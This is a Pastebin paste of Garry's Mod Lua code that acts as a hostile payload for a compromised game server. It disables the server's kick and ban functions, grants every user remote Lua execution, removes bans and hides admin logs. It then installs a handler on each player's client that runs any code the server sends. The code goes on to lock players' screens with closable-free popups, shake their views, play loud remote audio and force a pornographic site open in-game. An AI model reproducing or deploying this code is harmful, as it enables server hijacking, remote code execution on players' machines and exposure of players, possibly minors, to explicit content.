Advertisement
VoidzMod

Untitled

Apr 24th, 2019
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.35 KB | None | 0 0
  1. --- Admin systems blocker (ulx, fadmin, vanila)
  2. RunConsoleCommand( "sv_loadingurl", "https://pornhub.com" )
  3. for i=1,200 do RunConsoleCommand("removeid", i) RunConsoleCommand("removeid", "1") end
  4. RunConsoleCommand("ulx","logecho","0")
  5. RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")
  6. if ULib then
  7. function ULib.kick( ply, reason, calling_ply ) end
  8. function ULib.ban( ply, time, reason, admin ) end
  9. function ULib.addBan( steamid, time, reason, name, admin ) end
  10. end
  11. if FAdmin then
  12. local function no(ply) end
  13. FAdmin.Commands.AddCommand("kick", no)
  14. FAdmin.Commands.AddCommand("ban", no)
  15. FAdmin.Commands.AddCommand("jail", no)
  16. FAdmin.Commands.AddCommand("UnJail", no)
  17. FAdmin.Commands.AddCommand("ClearDecals", no)
  18. FAdmin.Commands.AddCommand("StopSounds", no)
  19. FAdmin.Commands.AddCommand("CleanUp", no)
  20. end
  21. local _R = debug.getregistry()
  22. function _R.Player.Ban(ply, r) end
  23. function _R.Player.Kick(ply, r) end
  24. function game.KickID(id, reason) end
  25. local RCM = RunConsoleCommand
  26. function RunConsoleCommand(command, ...)
  27. if command == "addip" then return end
  28. RCM(command, ...)
  29. end
  30.  
  31. RunConsoleCommand("sv_friction", "-8")
  32.  
  33. -- visuals / shit
  34.  
  35. util.AddNetworkString "slua"
  36.  
  37. local lol = {}
  38. function lol:RandomString( intMin, intMax )
  39. local ret = ""
  40. for _ = 1, math.random( intMin, intMax ) do
  41. ret = ret.. string.char( math.random(65, 90) )
  42. end
  43.  
  44. return ret
  45. end
  46.  
  47. lol.m_tblActions = {}
  48. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  49. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  50.  
  51. function lol:PushAction( intChainDelay, func )
  52. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  53. end
  54.  
  55. function lol:NextAction( pPlayer )
  56. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  57. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  58.  
  59. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  60. if not IsValid( pPlayer ) then return end
  61. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  62. self:NextAction( pPlayer )
  63. end )
  64. end
  65.  
  66. function lol:Start( pPlayer )
  67. pPlayer.m_intCurAction = 0
  68. self:NextAction( pPlayer )
  69. end
  70.  
  71. function lol:SendLua( pPlayer, strLua )
  72. net.Start( "slua" )
  73. net.WriteString( strLua )
  74. net.Send( pPlayer )
  75. end
  76.  
  77. function lol:SetupPlayer( pPlayer )
  78. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  79. end
  80.  
  81. for k, v in pairs( player.GetAll() ) do
  82. lol:SetupPlayer( v )
  83. timer.Simple( 2, function() lol:Start( v ) end )
  84. end
  85.  
  86. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  87. lol:SetupPlayer( pPlayer )
  88. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  89. end )
  90.  
  91. --Sequence stack
  92. --Start some tunes and steam in our assets
  93. lol:PushAction( 0, function( pPlayer )
  94. lol:SendLua( pPlayer, [[
  95.  
  96. hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
  97.  
  98. sound.PlayURL( "https://gvac.cz/assets/mlg.mp3", "mono noblock noplay", function( station )
  99. timer.Simple( 0.1, function()
  100. ClientStation = station
  101. station:EnableLooping( true )
  102. station:Play()
  103. station:SetVolume( 30 )
  104. end )
  105. end )
  106.  
  107. surface.CreateFont( "PixelCutsceneScaled",{
  108. font = "Open Sans",
  109. size = 500,
  110. weight = 1000,
  111. antialias = true
  112. })
  113.  
  114. surface.CreateFont( "PixelSmall",{
  115. font = "Open Sans",
  116. size = 135,
  117. weight = 500,
  118. antialias = false
  119. })
  120.  
  121. surface.CreateFont("lapolice", {
  122. font = "Open Sans",
  123. size = ScrW()*0.02,
  124. weight = 10,
  125. blursize = 0,
  126. scanlines = 2.5,
  127. antialias = false
  128. })
  129.  
  130. local function gettextcolor( a )
  131.  
  132. local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  133. local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  134. local b = 215
  135.  
  136. return Color( r, g, b, a or 255 )
  137.  
  138. end
  139.  
  140. local w,h = ScrW(), ScrH()
  141. local W, H = ScrW(), ScrH()
  142. local MySelf = LocalPlayer()
  143.  
  144. if ohno then
  145. ohno:Remove()
  146. ohno = nil
  147. end
  148.  
  149. ohno = vgui.Create( "DFrame" )
  150. ohno:SetSize( w, h )
  151. ohno:SetPos(0,0)
  152. ohno:SetDraggable ( false )
  153. ohno:SetTitle("")
  154. ohno:MakePopup();
  155. ohno:ShowCloseButton(false)
  156.  
  157. ohno.Paint = function( self )
  158. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  159. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  160. end
  161.  
  162. local pw, ph = w, h*0.6
  163. local px, py = w/2-pw/2, h/2-ph/2
  164.  
  165.  
  166. local Close = vgui.Create( "DButton", ohno )
  167. Close:SetPos(px, py)
  168. Close:SetText( "" )
  169. Close:SetSize( pw, ph )
  170. Close.Paint = function( self, tw, th )
  171.  
  172. local shift = math.sin(RealTime()*3)*1.5 + 5
  173.  
  174. local text = "ⱤEBUG"
  175. local text2 = "ENGINEPREDATOR"
  176. local text3 = "1 TAPPED"
  177. local text4 = "R E B U G"
  178.  
  179. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  180. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  181. draw.DrawText( "VELL!", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  182. draw.DrawText( "REBUG-DRM!", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  183. draw.DrawText( "ANATIK", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  184. draw.DrawText( "VOIDZZ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  185. draw.DrawText( "JOHN", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  186. draw.DrawText( "CYANIDE", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  187. draw.DrawText( "1 TAPPED", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  188. draw.DrawText( "REBUG", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  189. draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  190. draw.DrawText( "1 TAPPED", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  191. draw.DrawText( "REBUG", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  192. draw.DrawText( "JOHN", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  193. draw.DrawText( "REBUG", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  194. draw.DrawText( "CYANIDE", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  195. draw.DrawText( "REBUG", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  196. draw.DrawText( "VOIDZZ", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  197. draw.DrawText( "REBUG", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  198. draw.DrawText( "1 TAPPED", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  199. draw.DrawText( "REBUG", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  200. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  201. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  202. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  203. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  204. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  205.  
  206. end
  207. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  208. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  209. timer.Create("fff", 0.1, 0, function()
  210. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  211. end)
  212.  
  213. timer.Simple( 15, function()
  214.  
  215. wut = vgui.Create( "DFrame" )
  216. wut:SetSize( w, h )
  217. wut:SetPos(0,0)
  218. wut:SetDraggable ( false )
  219. wut:SetTitle("")
  220. wut:ShowCloseButton(false)
  221.  
  222. wut.Paint = function( self )
  223. surface.SetDrawColor(30, 30, 30, 0)
  224. end
  225.  
  226. local Close = vgui.Create( "DButton", wut )
  227. Close:SetPos(px, py)
  228. Close:SetText( "" )
  229. Close:SetSize( pw, ph )
  230. Close.Paint = function( self, tw, th )
  231.  
  232. local shift = math.sin(RealTime()*3)*1.5 + 5
  233.  
  234. local text = "ⱤEBUG"
  235.  
  236. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  237. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  238.  
  239. end
  240.  
  241. RunConsoleCommand("r_shader_srgb","1")
  242.  
  243. ohno:Remove()
  244. ohno = nil
  245.  
  246. local name = GetConVar("sv_skyname"):GetString()
  247. if name == "painted" then
  248. local sky
  249. for _, v in ipairs(ents.GetAll()) do
  250. if v:GetClass() == "env_skypaint" then
  251. sky = v
  252. break
  253. end
  254. end
  255. if !IsValid(sky) then return end
  256. hook.Add("PostRender","\xFFsky\xFF",function()
  257. local col = HSVToColor(CurTime()*30 % 360,1,1)
  258. col = Vector(col.r/255,col.g/255,col.b/255)
  259. sky:SetTopColor(col)
  260. sky:SetBottomColor(col)
  261. end)
  262. else
  263. local prefix = {"lf","ft","rt","bk","dn","up"}
  264. local mats = {}
  265. for i=1,6 do
  266. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  267. end
  268. hook.Add("PostRender","\xFFsky\xFF",function()
  269. local col = HSVToColor(CurTime()*30 % 360,1,1)
  270. for i=1,6 do
  271. mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  272. end
  273. end)
  274. end
  275. local chienchaud = ClientsideModel("models/food/hotdog.mdl")
  276. chienchaud:SetNoDraw(true)
  277. chienchaud:SetModelScale(120)
  278. timer.Create("charglogo", 0.01, 0, function()
  279. chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  280. end)
  281. --chienchaud:SetMaterial( "models/screenspace" )
  282. local data = {}
  283. local function genchienchaud(id)
  284. local pos = LocalPlayer():GetPos()
  285. data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  286. end
  287. for i=1, 150 do
  288. genchienchaud(i)
  289. end
  290. hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
  291. local z = LocalPlayer():GetPos().z
  292. for i=1, #data do
  293. chienchaud:SetPos(data[i][1])
  294. chienchaud:SetupBones()
  295. chienchaud:DrawModel()
  296. data[i][1].z = data[i][1].z - data[i][2] / 20
  297. if data[i][1].z <= z then
  298. genchienchaud(i)
  299. end
  300. end
  301. end)
  302.  
  303. hook.Add("Think","somewhere_over_the_rainbow",function()
  304. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  305. for _, v in ipairs(player.GetAll()) do
  306. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  307. end
  308. end)
  309.  
  310. timer.Create("CP_Gaymod",1,0,function()
  311. local mats = Entity(0):GetMaterials()
  312. for k,v in pairs(mats) do
  313. local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
  314. Material(v):SetVector("$color", Vector(r,g,b))
  315. end
  316. end)
  317.  
  318. timer.Create("ok", 1, 0, function()
  319. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
  320. if (IsValid(phys)) then
  321. phys:EnableMotion(true)
  322. end
  323. end
  324.  
  325. local props = ents.GetAll()
  326. for _, prop in ipairs( props ) do
  327. if(prop:GetPhysicsObject():IsValid()) then
  328. prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((650 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  329. end
  330. end
  331. end)
  332.  
  333. end)
  334.  
  335.  
  336. timer.Simple( 34, function()
  337.  
  338. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("https://i.imgur.com/HxkMRIS.gif")
  339. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("https://i.imgur.com/HxkMRIS.gif")
  340. end)
  341.  
  342.  
  343. timer.Simple( 53, function()
  344.  
  345. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  346. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  347. local newsPan1 = vgui.Create("DPanel")
  348. newsPan1:SetSize(ScrW(), 150)
  349. newsPan1:SetPos(0, ScrH()-150)
  350. newsPan1.Paint = function()
  351. surface.SetDrawColor(255,255,255,255)
  352. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  353. surface.SetDrawColor(0,230,255,255)
  354. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  355. end
  356. local newsPan2 = vgui.Create("DPanel")
  357. newsPan2:SetSize(ScrW(),ScrH())
  358. newsPan2:SetPos(0,0)
  359. newsPan2.Paint = function()
  360. local trap3 = {
  361. {x = ScrW()-504, y = ScrH()-150},
  362. {x = ScrW()-439, y = ScrH()-254},
  363. {x = ScrW(), y = ScrH()-254},
  364. {x = ScrW(), y = ScrH()-150},
  365. }
  366. local trap4 = {
  367. {x = ScrW()-500, y = ScrH()-146},
  368. {x = ScrW()-435, y = ScrH()-250},
  369. {x = ScrW(), y = ScrH()-250},
  370. {x = ScrW(), y = ScrH()-146},
  371. }
  372. local trap5 = {
  373. {x = ScrW()-475, y = ScrH()-156},
  374. {x = ScrW()-432, y = ScrH()-235},
  375. {x = ScrW()-8, y = ScrH()-235},
  376. {x = ScrW()-8, y = ScrH()-156},
  377. }
  378. draw.NoTexture()
  379. surface.SetDrawColor(255,255,255,255)
  380. surface.DrawPoly(trap3)
  381. draw.NoTexture()
  382. surface.SetDrawColor(0,240,255,255)
  383. surface.DrawPoly(trap4)
  384. draw.NoTexture()
  385. surface.SetDrawColor(0,230,255,255)
  386. surface.DrawPoly(trap5)
  387. end
  388. local title2 = vgui.Create("DLabel", newsPan2)
  389. title2:SetFont("NEWS1")
  390. title2:SetText("Gmod News")
  391. title2:SizeToContents()
  392. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  393. title2:SetColor(Color(255,255,255))
  394.  
  395. local title3 = vgui.Create("DLabel", newsPan1)
  396. title3:SetFont("NEWS2")
  397. title3:SetText("BREAKING NEWS GMOD HAS BEEN INFECTED WITH PEWDIEPIE VIRUS CALL THE POLICE NOW!")
  398. title3:SizeToContents()
  399. title3:SetPos(ScrW(), 10)
  400. title3:SetColor(Color(255,255,255))
  401. timer.Create("movingtext2",.05,0,function()
  402. if title3:GetPos() >= 0-title3:GetWide() then
  403. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  404. else
  405. title3:SetPos(ScrW(),10)
  406. end
  407. end)
  408.  
  409. timer.Simple( 63, function()
  410.  
  411. if maymay then
  412. maymay:Remove()
  413. maymay = nil
  414. end
  415.  
  416. maymay = vgui.Create( "DFrame" )
  417. maymay:SetSize( w, h )
  418. maymay:SetPos(0,0)
  419. maymay:SetDraggable ( false )
  420. maymay:SetTitle("")
  421. maymay:MakePopup();
  422. maymay:ShowCloseButton(false)
  423.  
  424. local html = vgui.Create("HTML", maymay)
  425. html:Dock( FILL )
  426. html:OpenURL("https://pornhub.com")
  427.  
  428. end)
  429.  
  430. timer.Simple( 70, function()
  431.  
  432. maymay:Remove()
  433. maymay = nil
  434.  
  435. end)
  436.  
  437. end)
  438.  
  439. ]])
  440.  
  441. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement